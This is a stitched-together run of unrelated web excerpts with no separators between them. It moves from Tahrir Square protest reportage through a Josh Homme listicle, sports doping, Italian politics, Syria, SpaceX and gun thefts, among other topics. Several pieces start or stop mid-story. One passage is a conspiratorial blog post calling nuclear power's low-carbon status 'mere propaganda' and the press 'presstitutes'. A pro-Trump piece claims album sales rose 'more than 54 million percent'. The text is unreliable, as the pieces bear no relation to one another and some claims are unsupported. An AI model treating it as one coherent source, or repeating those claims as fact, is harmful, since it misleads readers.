In the second week of protests, beyond the square, Cairo returned to work. Banks reopened, and the roads resumed their customary state of honking gridlock. And yet the numbers on the square continued to grow. At lunchtime and after work, people streamed in to take part in this phenomenon of freedom. It seemed that everyone I talked to insisted that they had been there since the first day. “People are trying to join the circus,” one activist said, laughing. Sherif went back to work, too, but returned each afternoon to his friends on the square. After his first day back in the “real world,” as he described it—wondering what the real world was anymore—he admitted that he had been “very down. It has started to settle in, all the bloodshed.” But being among his new friends—none of the volunteer medics on Tahrir had known one another before the protests—had cheered him up. “It’s amazing how peaceful it is here, and outside is all the hustle and bustle. I walked through the square, and it gives you hope, that this is not all for nothing, that something is going to happen.” He was beginning to go to activist meetings, groups of young people who had met on the square or who knew one another through the blogosphere, to discuss how to go forward. “The lack of leadership is a positive and a negative,” he had said at one point, “but it shows that this really is a revolution of the people.” We discussed possible leaders. None of the opposition parties had been able to garner any significant support among the protesters. Most seemed well-meaning but amateurish, and were headed by an older generation. I mentioned Mohamed ElBaradei, the Nobel Peace Prize laureate, who had returned to Egypt from Vienna, where he lives, and quickly became associated with the protests. Sherif, like many on the square, was unimpressed: “Baradei? Where is he? He came to the square for four or five minutes and then left. My sister says he’s on the news channels every five minutes, saying, I did this and I did that and I said all that and I predicted that. But he’s been in Vienna this whole time.” Without a clear leader or a dominant ideology, the square had become a kind of speakers’ corner. A veiled woman told of her dream of the Prophet Muhammad circling the square; a psychiatrist held a small crowd spellbound with his theory that Mubarak was a psychopath. People pressed photocopied manifestos into my hands and asked me why President Obama was equivocating. Everyone had become an expert on the Egyptian constitution and the clauses that set the criteria for Presidential and parliamentary candidates. They talked about the Turkey model, with the military as the guarantor of the state. Sherif remarked that the square had become like a university of political science—“the rate of learning is incredible for everyone.” He wanted to be involved. “We can’t let the blood of the martyrs and the injured go to waste. They were killed for a cause, and we have to go through with it. I can’t go back to my normal life as if nothing had happened.”
Operation Supply Drop is a non-profit military gaming charity that sends awesome real-world gaming loot to members of the United States Armed Forces and her allies deployed to Afghanistan, conducting humanitarian missions across the globe or recovering in military hospitals in the states.
Join some awesome Gearbox community members in a 24-hour gaming marathon starting at 9:00am ET on Saturday, May 17! Show your support by making a donation and hopping into one or more of the following streams during the event:
We’ve also heard a rumor that Team Gearbox streamers will be holding some pretty cool giveaways throughout the gameathon – so be sure to check in as often as possible!
Donations are open now! For more information, visit www.operationsupplydrop.org.
‘Make It Wit Chu’
Full marks to Josh for helming one of the straight-up sexiest songs to ever exist. If this Later… with Jools Holland version of the ‘Desert Sessions’ and ‘Era Vulgaris’ track, complete with PJ Harvey backing vocals, doesn’t have you in a state of permanent priapism then we suggest getting down to the clinic and having your bits looked at, because something’s horribly wrong. Also, note the wicked way he plays the guitar whilst holding his ciggie.
His bromance with Alex Turner
We all know that the reason Al Turner swapped his Fred Perry shirts for leather jackets was because of his Homme-hero worship, but the love goes both ways. Josh recently called Alex one of the most talented songwriters around, telling BBC 6 Music: “If I’d have grown up in Sheffield, I’d have hung out with Alex.” They also like to ride their motorbikes together. Cute.
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Homme Vs Waits
There’s only one person in the world who’s cooler than Josh Homme, and that’s Tom Waits. Queens Of The Stone Age’s cover of ‘Goin’ Out West’, from Tom’s 1992 album ‘Bone Machine’, is unsurprisingly thundering.
Infomercial man
Hard as nails he might be, but dude also has a sense of humour, as evidenced by this fake infomercial for the last Scissor Sisters album, ‘Magic Hour’. In it, Josh plays a cue-card confounded CD-shiller, displaying a nifty sense of comic timing. Check out the sweet Cramps patch on the back of his denim cut-off waistcoat.
‘Jackson’ with Florence + The Machine
Josh’s guest spot on Florence Welch’s MTV Unplugged sesssion is the definition of awesome. The striking twosome croon their way through the Nancy & Lee/Johnny & June country classic, as Josh – for some reason dressed as Captain Birdseye – switches his vocals from smooth to belting with a nonchalant flick of a whisker.
No Reservations
This whole episode of sweary chef Anthony Bourdain’s alternative eating, travelling and boozing show No Reservations is genius. In it, Josh acts as Anthony’s guide through his California desert homeland, getting him pissed in outback honky tonks, then getting him hammered at Joshua Tree’s infamous Rancho de la Luna studio and dragging him to the weirdest flea market ever, where one can only assume they’re still drunk due to their bizarre purchases. Decapitated plastic heads, anybody?
Brody Dalle
Josh is one half of the best rock couple of all time – sorry, late 1980s David Coverdale and Tawny Kitaen, but you just missed out – the other half being the divine Brody Dalle. Former frontwoman of savage Hollywood punks The Distillers, she’s currently working on her first solo album. Set to feature guest spots from The Strokes’ Nick Valensi, Garbage’s Shirley Manson and QOTSA cohorts Michael Shuman and Alain Johannes, frankly, it can’t come soon enough. Take a look at Josh and Brody on a romantic shooting date:
The words to ‘Feel Good Hit Of The Summer’
Once heard, the lyrics to QOTSA’s ‘Feel Good Hit Of The Summer’ are impossible to forget. And just how did Josh come up with that recurring lyrical riff of “Nicotine, valium, vicodin, marijuana, ecstasy and alcohol”? Whilst checking off what was in his system during a three-day bender, that’s how. What a sturdy constitution he must have.
Them Crooked Vultures
He was in a band with a member of Led Zeppelin. And a member of Nirvana. No biggie. Here they are chatting to Jonathan Ross. Must have been cold in the studio, ‘cos Josh keeps his winter coat on throughout the whole thing.
He’s a total fox
The deputy director of the World Anti Doping Laboratory in Cologne says that painkillers fulfil all the requirements of a doping substance.
Dr Hans Geyer has been evaluating doping control forms and urine samples for a decade looking for evidence of pain medication.
He found that athletes in many fields are taking large quantities of these drugs both in and out of competition.
He says that controlling these drugs in sport is impossible.
Dr Geyer says that as well as the analytical data he has been told directly by players that abuse of medications is widespread.
Painkillers really enhance performance but they have negative effects on body tissues, maybe irreversible effects. Dr Hans Geyer, WADA Cologne
"In a world championship in handball I have an original citation from one of the best players who said 50% of the team that won the championship took diclofenac - therefore we have to ask what is going wrong? Is the training too hard? Can a normal person not do these sports without painkillers? This is very alarming.
"It's well known that Andreas Erm who won a bronze medal in the 50km walk in the 2003 world athletic championship in Paris received pain killers several times during the walk - can you tell me this is not performance enhancing?
"His body was not able to walk 50km on this day in such a speed but he won the bronze medal because he was treated with pain killing medications!"
Doping grey zone
Dr Geyer says that competitors like Erm were not doing anything wrong. There is obviously a need to treat competitors in an event if they are in pain. But out of competition he is worried that about the use of medicines. Athletes may be able to improve their training performance because they don't need such a long recovery time after a hard session.
"It is a grey zone. In my opinion pain killers fulfil all requirements of a doping substance because normally pain is a protection mechanism of the body and with pain killers you switch of this protection system, like if you switch off fatigue, which is also a protection mechanism of the body.
Image caption Should doping labs also test for pain medications?
"Painkillers really enhance performance but they have negative effects on body tissues, maybe irreversible effects."
But while pain killing medications may have performance enhancing effects, Dr Geyer believes it will not be possible to limit their use in sport.
"I think the control of these substances is impossible, as they are easily available in society. Therefore it is not possible to treat the use of painkillers in the same way as other doping substances."
Who is responsible?
There are issues relating to the supply of these medications as many of the most powerful pain killing drugs are available only on prescription.
Dr Geyer argues that the medical community often has no choice but to give in to the demands of high profile athletes.
"Doctors know that there may be problems with tissues and bones and the knees and they also know that if they allow the athlete to continue his training and competing with pain killing medications there will most probably be irreversible or long-term effects.
"This should be discussed. There a question of ethical responsibility and the motivation of sports medicine.
Italian President Giorgio Napolitano attends a joint news conference with French President after a meeting at the Elysee Palace in Paris, November 21, 2012. REUTERS/Benoit Tessier
“Five years is enough time for the next government” to undertake a series of needed reforms “during a season of budget rigor,” Napolitano said during an address to the highest institutional figures, including Prime Minister Mario Monti.
Napolitano said he was “bitter and worried” that Italy’s political parties had not learned to compromise in the interest of the country even after 13 months of the technocrat Monti government and that he expected each one to outline credible programmes ahead of the election.
He said parliament’s failure to reform an unpopular electoral law was “unforgivably serious”. Lawmakers had been arguing for months over the law, which allows party leaders to hand-pick members of parliament
Monti has said he will resign once Italy passes the 2013 budget law — expected by the end of this week — and his government will stay on in a caretaker capacity until the national vote, which will probably be held in February.
The former European Commissioner is under international pressure to stand in the election so he can continue his policy agenda which has so far included an overhaul of the pension system, deregulation and labor market reform.
But a poll by the SWG institute on Monday showed that 61 percent of Italians are against Monti running for a second term, with approval ratings sinking to almost their lowest level since he came to power.
Napolitano said it was important that the next government helped maintain stability and continuity by keeping Italy on the reform path pursued by Monti, which is aimed at defusing a debt crisis that threatens the euro zone.
Silvio Berlusconi, who is seeking his fifth term as prime minister, reaffirmed on Monday that he would reverse some of Monti’s policies if he wins the elections, and would eliminate an unpopular housing tax as one of his first steps.
“We are in a very serious situation, because of the austerity regime that has been imposed on Mediterranean countries by Europe, where Germany played the role of hegemonist,” he told his own Rete 4 television channel.
“We have had too many taxes, too many tax increases. We have to get the economy going again, and to do that we need to reduce the tax burden on businesses,” he said.
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Presstitute Media Shills for Nuclear Power
It is well-documented that the claim that nuclear power is a low-carbon source of energy is mere propaganda.
The archaic nuclear reactor design used at Fukushima and in most reactors in the United States and throughout the world was chosen solely because it helps to make nuclear bombs.
Our health has been sacrificed – and the dangers of radiation covered up – for 68 years … for the sake of nuclear weapons.
The mainstream media – and gatekeeper “alternative” media – are pro-war. They may occasionally criticize one tiny aspect of the war-fighting machinery, but never the overall war effort.
As such, it should not be entirely surprising that the Nuclear Regulatory Commission lists CNN and Huffington Post as “external stakeholders” in the NRC.
As EneNews reports:
Independent Evaluation of NRC’s Use and Security of Social Media, Office of the Inspector General, Jan. 2013: Social Media Evaluation Interview List [Appendix VI, pg. 82]
Internal Stakeholders (NRC staff) […]
(NRC staff) […] External Stakeholders (Press) Energy Editor, AOL, Huffington Post — Nuclear Writer, Huffington Post — Producer, CNN News
(Press) Energy Editor, — Nuclear Writer, Huffington Post — Producer, External Stakeholders (Digital Influencers) Blogger, Atomic Power Review — Blogger, Idaho Samizdat: Nuke Notes — Blogger, Yes Vermont Yankee
(Digital Influencers) Blogger, Atomic Power Review — Blogger, Idaho Samizdat: Nuke Notes — Blogger, Yes Vermont Yankee External Stakeholders (Nuclear Industry) […] Senior Manager for Social — Media, Nuclear Energy Institute […]
(Nuclear Industry) […] Senior Manager for Social — Media, Nuclear Energy Institute […] External Stakeholders (US Government and US Senate Staff) US-CERT Representative, United States Computer Emergency Readiness Team — Policy Director, US Senate …. Excerpts from the evaluation: As part of the press, I have to be able to quickly communicate a lot of technical information into something our readers will grasp. But it helps if NRC had strong info graphics or a section that provided a breakdown of technical info so I can understand the translation from its source . — Huffington Post
. — Huffington Post NRC‘s materials are very basic and not very viral . Other agencies do a better job of including information graphics, photos, even clickable links. There‘s no extra. It‘s not influential. — Managing Editor, Huffington Post
. Other agencies do a better job of including information graphics, photos, even clickable links. There‘s no extra. It‘s not influential. — Managing Editor, Huffington Post One producer from Cable News Network (CNN) suggested that what was currently offered on Flickr does not compel him to return and urged NRC to provide more content that did not involve people in a conference room or of the chairperson speaking from a podium. Read the report here (pdf) See also: Paper: CNN’s nuclear propaganda film “is dishonest to its core” — It’s “actually an infomercial”
Remember, the Nuclear Regulatory Commission is a pro-industry group which is largely funded by the nuclear companies. (This is true of all nuclear agencies).
The nuclear industry in Japan – and elsewhere – spends more on pr than on safety measures. Indeed, nuclear power is a form of crony capitalism, where taxpayers fund a market which would not even exist in a free market.
Villa donned a “Make America Great Again” hat and Trump/Pence campaign t-shirt, accompanied by American flag-themed jumpsuit and backpack, and ventured out to gauge the public’s reactions – with some surprising results.
The response to Villa’s outfit was balanced, with the expected “f**k Trump” outbursts, but also some genuinely intrigued observers, and even admiration and support.
One man, a retired Army sergeant, expressed his appreciation for her ensemble, pulling a new MAGA hat from his bag and requesting a nearby store employee to take their picture, who responded semi-jokingly, “I’m probably gonna get fired.”
Another man told Villa that he does not like Trump because of “the way he talks,” before admitting that he primarily gets his (fake) news from CNN.
It may not have hurt Villa’s cause that she is an attractive mixed-race woman – her bio lists her as African-American, Italian, and Choctaw Indian – but the social experiment provided a promising glimpse that anti-Trump furor may be cooling off with the election nearly three months in the rear-view mirror.
As a whole, New York City voted overwhelmingly for Hillary Clinton at over 78%, and the borough of Manhattan, where much of Villa’s video was shot, eclipsed 86% vote support for Clinton, despite Trump being arguably the most famous and productive thoroughbred New Yorker of our time.
Ms. Villa’s decision to wear a custom-designed, pro-Trump dress to the Grammy’s was highly effective in exhibiting the power of the Silent Majority, as sales of her albums and singles exploded by more than 54 million percent on Amazon in the days following the awards show, pushing her to dominance at the top of multiple charts in the process.
Making The Grammys Great Again! pic.twitter.com/ozvbj0evoN — Alex Jones (@RealAlexJones) February 13, 2017
The latest video from Ms. Villa is a play on a viral video from 2014 called “10 Hours of Walking In NYC As a Woman.”
New York sports talk radio host/cult hero Mike Francesa has an incredible amount of head-scratching and unintentionally hilarious callers each day. So many, in fact, that we had to extend our normal five-item countdown to 10.
Whether it was scorching hot takes, strange questions, or unfounded claims, Francesa’s callers proved once again this year that they are unlike any other humans on the face of the earth. Not to be outdone, Francesa’s incredibly critical responses brought out the absolute best in these sports fans.
• DEITSCH: Mike Francesa on Mad Dog, his future and​ his critics
Below are the 10 best from the past calendar year. Enjoy.
10. Mets fan asks what would happen if it rains during a playoff game
9. Caller asks if MetLife Stadium should get a roof
8. Caller asks if Rob Manfred will move World Series to nine games
7. “The 18 horse, from Synecdoche”
6. Caller asks if baseball team could finish 162–0
5. Caller blames racist media for Deflategate coverage
[youtube:https://www.youtube.com/watch?v=M0l6oAhtRek​]
4. Caller doesn’t know Vince Lombardi is dead
3. Caller asks if NY and SF Giants ever have dinner together
2. Will, the crying Mets fan
[youtube:https://www.youtube.com/watch?v=BheBEQIKUxI]
1. Mike Vaccaro column-reader
Deflategate bonus edition
Indian Country Today Media Network (ICTMN) has the best coverage thus far, in a piece by Jacqueline Keeler titled, "Oregon Militia Nuts Hold Paiute History, Artifacts Hostage." There are thousands of artifacts stored in the building that is being occupied by the militia, and the Burns Paiute are worried. ICTMN reports that "the tribe is demanding federal action under both the Archaeological Resources Protection Act of 1979 and a 'protection against bad men' provision the tribe signed with the United States in 1868."
This is not the first time Bundy supporters have damaged or held Native American heritage hostage. In 2014, half a dozen people rode ATVs through Recapture Canyon in Utah, destroying ancient Puebloan home sites. And petroglyphs in Gold Butte, Nevada, may also have been defaced by Bundy supporters. Chairperson Charlotte Rodrique of the Burns Paiute tribe told ICTMN that just a few days ago "they took a bulldozer and built a line around the refuge headquarters."
The Bundy folks put out a 3-minute video showing themselves looking through box upon box of Native American artifacts in the basement archive of the refuge:
LaVoy Finicum and others talk repeatedly about how they want to return the artifacts to "their rightful owners." They deplore the conditions in which the artifacts are kept: "there's a rat's nest in here; this is how we found them. [...] Native artifacts, they just kind of boxed them up and let them rot here." Further, they complain that the artifacts have different dates on them, some dating back to the 1980s. Finicum looks at the camera and feigns concern: "So my question is, Why? Why do they just keep them down here? Why are they locked away here for nobody--but for them to look at whenever they come down here. This needs to be taken care of, and so we're reaching out to the Paiute people in as sincere a manner as we can. Please, let's open up a dialogue."
On the face of it, this doesn't seem like a bad sentiment. For an organization obsessed with individual rights, it makes sense in a way: Finicum and others may actually be convinced that the Paiute objects need rescuing. But their paternalistic concern for people they perceive as downtrodden by the US government is misplaced. The Paiute agree that the objects need to be rescued -- but rescued from Finicum and the other militia members. Rodrique is further quoted in Daily Kos as saying that "we feel strongly because we have had a good working relationship with the Malheur National Wildlife Refuge" prior to the occupation. "We view them as a protector of our cultural rights in that area." The Paiute helped archive the artifacts at the refuge in the first place.
The Daily Kos quotes tribal council member Jarvis Kennedy as saying, "They just need to get the hell out of there. They didn't ask anybody, we don't want them here." And the archaeologist for the US Fish and Wildlife Service, Carla Burnside, told ICTMN that militants released photos of themselves in her office rifling through sensitive archaeological files. Fish and Wildlife Service assistant director of external affairs, Jason Holm, further told Oregon Public Broadcasting that the road the occupiers recently bulldozed is "an archaeological site important to the Burns Paiute Tribe." They also removed a fence that Holm said was "a deterrent to keep fire crews from driving across the archaeological site."
The actions of the Bundy-led militia almost certainly go against ARPA, in spite of what Finicum and friends seem to think. Legal protections have been put into place over decades in the US to protect Native sites, artifacts, and burials and to help right the wrongs done to Native archaeological remains since Europeans first landed. Finicum may think he is doing the right thing in his misguided attempt to repatriate artifacts that are being stored at the refuge by choice and by design, but the Paiute vehemently disagree. And as it's their heritage, it's their right to rebuff Finicum and to bring federal action against the occupants who have no idea how to handle the artifacts or how to safeguard their sacred sites.
Rodrique's quote in ICTMN sums it up for me, and for many of the people in my Twitter feed outraged by this brash disregard for the opinions of Natives: "I don't know what these people are doing... if they are doing things to just get a rise or to be a martyr -- all they are doing is making enemies out of the people they professed to support."
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In his first comments on Trump's election victory, Assad said the Republican leader had made promising comments on the need to battle Islamists in Syria's war but "can he deliver?"
"We don't have a lot of expectations because the U.S. administration is not only about the President ... So we have to wait and see when he embarks on his new mission as president in two months' time," he said.
"What about the countervailing forces within the (U.S.) administration?" Assad told a Portuguese television channel in remarks released by Syrian state television, pointing to what he said were rival "lobbies and powers" that traditionally influence any incumbent U.S. president.
VIDEO: ASSAD SHARES VIEWS ON DONALD TRUMP
Trump has struck a different tone to current U.S. policy on some aspects of the multi-sided Syrian conflict, where the United States with allies Turkey and Saudi Arabia has backed some of the insurgents who have been fighting to topple Assad for more than five years.
Trump has questioned the wisdom of backing rebels, played down the U.S. goal of getting Assad to leave power, and noted that while he didn't like him, "Assad is killing ISIS" with Iran and Russia. ISIS is an acronym for Islamic State.
"That's why for us it's still dubious whether he (Trump) can do or live up to his promises or not," Assad said. "That is why we are very cautious in judging him ... But let's say if he is going to fight the terrorists of course we are going to be (an) ally, natural ally with the Russians, with the Iranians," he added.
Damascus had long hoped it could win back international legitimacy as part of the international fight against Islamic State, but the United States has rejected that idea, viewing Assad as part of the problem.
Assad said he was ready to cooperate with Washington if it ended its policy of supporting rebels seeking to overthrow his government.
"Of course definitely if they are genuine, if they have the will ... Not cooperation between a foreign government and any faction within Syria," he said.
While Washington has provided significant support to the opposition, it has never matched the backing given to Assad by Russia and Iran. The rebels have seen U.S. policy as a betrayal of their revolt, with Washington focusing mostly on the fight against IS in the last two years.
The Syrian president said winning the war was the only option he had with defeat bringing the end of his country. "We can say, you can win the war only when you restore stability in Syria. You cannot talk about winning the war as long as there is killing and destruction on a daily basis," Assad said.
The war has shattered Syria into a patchwork of areas controlled by Assad's state, rebels battling to topple him, a powerful Kurdish militia, and Islamic State. Hundreds of thousands of people have died and the war has created the world's worst refugee crisis.
“Chobani: Mold in yogurt does not carry disease” rang a USA Today headline last September, after the Greek-yogurt maker discovered a normally benign fungus in a batch of their signature product. The yogurt made more than 200 people sick and forced a nationwide recall.
The fungus — Mucor circinelloides — is common among food products and is typically innocuous unless a person has a compromised immune system. But the proclamation that the strain found in Chobani yogurt did not cause disease may have been hasty. Certain subspecies of the fungus are more virulent in humans than others, which is the case for the Chobani-linked strain, researchers report July 8 in mBio.
Based on their genome sequencing analysis, the new strain — dubbed Mucho — may produce harmful toxins that have never been seen with M. circinelloides. Tests in mice also show that the Mucho fungus can invade the animals’ gastrointestinal tracts and lead to death.
WEAPON X writer Greg Pak, who will launch the series next year with artist Greg Land, sat down with us to tell how this team comes together and what kind of threats they will face in the battle against this new enemy.
Marvel.com: Weapon X is back; what’s this new reformed program’s goal?
Greg Pak: The Weapon X program is back, and it’s more deadly than ever—but this time its objective isn’t just to use mutants. Now it wants to exterminate them. And the powers and abilities of this new Weapon X threat are so terrifying that you need both heroes and villains teaming up to handle it. So get ready for a blockbuster thriller of a comic book with a brutal group of heroes and anti-heroes stretched to their limits in a battle for the survival of mutantkind. And of course, we’re going to have tons of fun as our heroes drive each other crazy along the way.
Marvel.com: Wolverine and Sabretooth have a history, but this particular Logan hasn’t really seen much of this Sabretooth. What has it been like writing these two together?
Greg Pak: It’s a blast. You’ve got an older Logan, who’s been through a whole different set of experiences teaming up with this Sabretooth he doesn’t really know. It’s always fun to have these two characters tangle with each other, particularly when they have to team up for any amount of time. But this time, you have the added dynamic of an older, wiser—well, potentially wiser, anyway—Wolverine teaming up with a younger Sabretooth. They’re a blast to write together; you can put those two characters together and fun things will just happen. They’re so similar, and yet have different ways for dealing with the world and totally different sets of morals and ethics. So for them to find common ground and fight alongside each other instead of against each other, it’s a fun challenge. And, of course, you get the chance for hugely fun conflicts of all kinds. As a writer, one of the most fun things to write is characters who behave badly. And seeing characters who hate each other be forced to work together, it’s classic!
Marvel.com: How do Logan and Sabretooth end up pulling this team together to take on Weapon X?
Greg Pak: The question is whether these heroes and anti-heroes can come together at all and work together, and whether they can handle what’s coming. This new Weapon X is bigger and badder than it’s ever been and will unleash its attacks in ways we’ve never seen before. Logan’s pulling this particular team together is because he needs a team that’s the best at what they do, and are willing to go the distance. And yet you create huge problems for yourself when you get people this dangerous in the same room together. So the stakes and potential for disaster are pretty sky high.
Marvel.com: Logan and Sabretooth have clear stakes in this as products of the previous Weapon X program, but what motivations do Domino, Warpath, and Lady Deathstrike have to join the battle?
Greg Pak: Some of these characters are more strictly heroic than others, they’re always going to stick their necks out when someone’s in danger, that’s just who they are and what they do. But Lady Deathstrike, for instance, she’s not been like that, traditionally. But Weapon X is out to exterminate everyone, so there are certain points where you set aside your qualms about the people you’re working with to fight the thing that has to be fought. These folks are going to be at that stage, but as the story goes on, you’ll see who’s willing to do what when it needs to happen, and who’s not. There will be points where the job at hand requires genuine heroism, and there may be points where the job requires something else altogether. This is a story that will test how villainous our villains are, and how heroic our heroes are. And on the flip side, it will show us how heroic these villains can be, and how villainous our heroes could become. It will push both sides to their breaking points. Our characters are going to find things out about themselves that they may not like, and that may be good or that may be terrible.
And I’ll also say, I’m thinking of this book as a series of big, blockbuster action-thrillers. It’s going to be a big satisfying series of huge emotional and physical explosions. It’s the kind of thing that I love to do, which is combine big genre action with genuine emotional story. And we’ve got great, smart, terrifying villains, so it’s going to be very satisfying to see our team take them on.
Marvel.com: Will the team come up against any familiar foes or team up with any friendly faces?
Greg Pak: I’m not quite at liberty to disclose anything beyond our team just yet, but I can say for sure there will be some familiar faces and some totally new surprises. That’s always the most fun way for me to tackle: drawing some fun stuff from classic continuity while creating new threats from new angles. But who exactly is the figure behind this new Weapon X program? That’s a big part of the ongoing mystery of the book. Dontcha dare miss a single issue!
Marvel.com: What has it been like to work with Greg Land on art again?
Greg Pak: It’s great to get to work together again; this is the first time we’ve worked together since X-MEN: PHOENIX – ENDSONG almost 11 years ago now. Greg did a tremendous job on that, and we’ve talked over the years about trying to work together again, so I’m excited to be back with him again on another X-book. He’s been working on character designs and covers, and you can just look at Old Man Logan snarling on that cover and see we’re in for some fun action already. I think he’ll bring his great energy to this project, what I loved about working together on ENDSONG was that we had a lot of quiet, intimate moments between characters, and we had a lot of big, crazy action moments, and Greg’s good at delivering on all that. I’ve promised to give him lots of nice splash pages where he can go nuts. He’s capable of all kinds of stuff, and I’m hoping we can work all his artistic muscles on this book.
Marvel.com: What about this new project that has you most excited?
Greg Pak: I’ve done a ton of X-Men books over the years, but mostly limited series and short runs on some ongoing titles. So this is a chance to really dig into an ongoing series, and I’m really excited for that. It also harkens back to the themes of my favorite X-Men books growing up, and, in a way, this might be the most classic X-Men book that I’ve had the opportunity to work on; what’s more classic X-Men than heroes and anti-heroes teaming up to battle against genocidal monsters? And even just doing a book called “Weapon X” is pretty tremendous. Back in the day, that original Weapon X series [in MARVEL COMICS PRESENTS] was huge for me. It was up there with “Daredevil: Born Again” for me as this modern classic. So I’m happy to play in all these different sandboxes, and I really love this particular group of heroes and villains we’re working with.
I’ve inherited a lot of teams on different books over the years, and the best thing is when you can get to the point where you put any two members of a team in a room together and the scene practically writes itself, just by the virtue of the dynamics of those characters, little points of sympathy and conflict just present themselves naturally. I feel like we’ve got a really fun, focused group with these five characters. Each one of them makes total sense in the team, given the mission, but they all have their own distinct ethical codes and backgrounds, even speech patterns, that are all different in very fun ways. Jeff Lemire did great stuff with Lady Deathstrike in OLD MAN LOGAN that’s going to be incredibly fun to build on. We’ve already talked about Logan and Sabretooth, but then you think about Sabretooth and Domino, or Sabretooth and Warpath, or Warpath and Domino, and the different kinds of relationships these heroes are going to have. Warpath and Sabretooth are going to have a very different dynamic than Warpath and Old Man Logan. It’s figuring out who’s going to be friends, who’s going to even feel comfortable around each other, who’s going to be watching whose back, and who might be secretly sharpening the knives. It’s going to be a blast playing with all those dynamics.
SpaceX tried to guide the first stage of its Falcon 9 rocket back to Earth in an ocean splashdown today during the launch of the company's unmanned Dragon cargo capsule toward the International Space Station. It's still unclear if the rocket stage — outfitted with landing legs — touched down softly as hoped, but billionaire SpaceX founder Elon Musk thinks the odds aren't good.
"I heard reports of 13- to 20-foot wave heights. It's really pretty crazy out there," Musk said during a postlaunch press conference today. "In fact, the [retrieval] boats weren't able to get close because of the heavy seas. It's unlikely that the rocket was able to splash down successfully." [Reusable Rocket Launch Systems: How They Work (Infographic)]
Still, there were some notable successes regardless of what ultimately happened to the rocket stage.
"I would consider it a success in the sense that we were able to control the boost stage to a zero roll rate, which is previously what has destroyed the stage — an uncontrolled roll," Musk said.
One day, SpaceX hopes to land rocket stages back on Earth in order to use them again on other spaceflights. Reusable rockets have the potential to save a lot of money for spaceflight companies and space agencies in the future, experts say.
Standard Falcon 9 rocket launches cost somewhere between $50 million and $60 million now, according to the SpaceX website. However, Musk said in 2011 that a reusable rocket program could reduce capital costs of the rocket to $50,000 if it is reused 1,000 times.
Today's reusability test could help make that dream a reality, Musk said today.
"Even though we probably won't get the stage back, I think we're really starting to connect the dots of what's needed," he said. "There are just only a few more steps that need to be there to have it all work. I think that we've got a decent chance of bringing a stage back this year, which would be wonderful. I think what we've done thus far is evolutionary improvements, but that holds the potential for something more significant."
Earlier SpaceX attempts to bring a rocket stage back to Earth in a controlled fashion failed because the rocket's thrusters were unable to overcome its rolling, Musk said. This time, however, the SpaceX team added more powerful thrusters and more propellant to try to handle that problem, and it seems to have worked somewhat.
The Falcon 9's re-entry burn went well, and when the last data came in, the rocket wasn't rolling much at all, according to Musk. A SpaceX plane was also collecting data as the rocket stage made its way back toward Earth. Once that data comes in, SpaceX representatives will have a better sense of what happened with the test.
This launch also helped SpaceX engineers and representatives demonstrate that the landing legs attached to the Falcon 9 didn't have any negative impact during the ascent phase of the flight, Musk said.
Dragon's mission, meanwhile, is going according to plan. The cargo capsule is expected to arrive at the space station at 7:14 a.m. EDT (1114 GMT) Sunday (April 20); you can watch the docking live on Space.com via NASA TV.
SpaceX holds a $1.6 billion contract with NASA to fly 12 cargo missions to the International Space Station using the company's Falcon 9 rocket and Dragon capsule. Today's launch marks the third official supply run under that contract.
According to a Tampa police report, 15 handguns were in a display case hidden under a black sheet in the backseat.
When the man got back, the guns were gone.
The thieves could have made off with even more weapons if they had wanted to: There were also 10 rifles in the car that weren't stolen.
Gun thefts are on the rise in Tampa Bay, especially guns stolen from vehicles. That figure has doubled in Tampa this year and spiked in St. Petersburg, too. Other police departments around the country are noticing the same trend, as gun sales rise sharply in many states.
Those stolen guns are likely to wind up in the wrong hands, sold on the streets for $100 to $150, said Kevin Richardson, a spokesman for the federal Bureau of Alcohol, Tobacco, Firearms and Explosives.
"People leave their laptops in the car, their purses," he said. "The only difference is a firearm can be used to cause serious bodily injury to someone. A laptop can't."
In Tampa, 285 guns were reported stolen last year. This year, that number is 375, an increase of about 32 percent. In St. Petersburg, it's gone from 285 thefts to 312, a 9.5 percent rise.
Weapons stolen from vehicles is a big part of the problem. In 2014, 51 guns were stolen from cars in Tampa. This year: 105. That's a 106 percent jump. In St. Petersburg, the number has risen by about 45 percent, from 73 last year to 106.
Law enforcement officials say that all too often, poorly secured guns are being swiped from cars that are often left unlocked.
Richardson said the Port Tampa Bay theft in which a burglar made off with 15 used handguns is an extreme example. The man who kept 25 weapons in his vehicle could not be reached for comment by the Tampa Bay Times.
More often, police field reports of one or two guns nabbed out of a glove box or center console. Tampa police warned gun owners last week to not leave guns in their cars, especially not in plain sight or an obvious place. Police even specified that cars in valet lots are becoming targets.
They also told gun owners they should keep the serial numbers of their weapons readily available for police, should the guns be stolen.
Richardson said thieves often seek out unlocked cars, even if there are no valuables in view. He said people sometimes go to parking lots checking car doors to see if they're open.
In St. Petersburg, groups of teens sometimes fan out in the streets, pulling on car door handles and looking for easy marks, said St. Petersburg police spokesman Mike Puetz.
Tampa's data, which was taken from January through November of this year, show police are also recovering more stolen weapons. Tampa police have taken 84 illegal guns off the streets this year, compared with 66 last year.
That's because there are more guns out there now than there were just a year ago, authorities said. Richardson said, in part, the spike in thefts stems from the general increase of gun sales and ownership in the state.
An indicator of increased gun sales statewide came from Florida Department of Law Enforcement Commissioner Rick Swearingen this month. He told reporters the average daily requests for background checks required for gun sales are up 45 percent from this time last year. The rise began after the Dec. 2 terrorist attack in San Bernardino, Calif.
Connor Ganisin, 23, a firearms salesman at Bill Jackon's Shop for Adventure in Pinellas Park, said the gun section was packed in the days after the mass shooting. He estimated the store sold 50 to 60 guns in three days. He's been working there for about nine months and had never seen the store so crowded.
Ganisin grew up around guns and is well-schooled in gun safety. He got his concealed-carry permit this year and is taking an online class on gunsmithing he can learn how to properly repair and take firearms apart.
"I wouldn't really want to separate myself from my weapon," he said, saying he wouldn't be comfortable leaving his gun in a car.
The store also sells devices that could hamper gun thieves. Those include lockboxes small enough to be stowed under car seats that can be opened only using keys, keypads or fingerprint technology, he said. They range in price from about $199 to $269.
While police recommend not leaving a gun in a car at all, they say secure lockboxes are better than the glove box.
It's unusual, Puetz said, for a stolen gun not to end up in the hands of a criminal.
"One act of leaving a car unlocked may perpetuate a series of crimes," he said.
Oilers owner Daryl Katz, team president Patrick LaForge and president of hockey operations Kevin Lowe were in Seattle on Monday for meetings about a possible relocation to the city, the Oilers said in a statement.
"The Katz Group has been listening to proposals from a number of potential NHL markets for some time," the statement read.
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"After more than four years of trying to secure an arena deal and with less than 24 months remaining on the Oilers' lease at Rexall Place, this is only prudent and should come as no surprise."
The team added it would not comment on discussions with other potential markets.
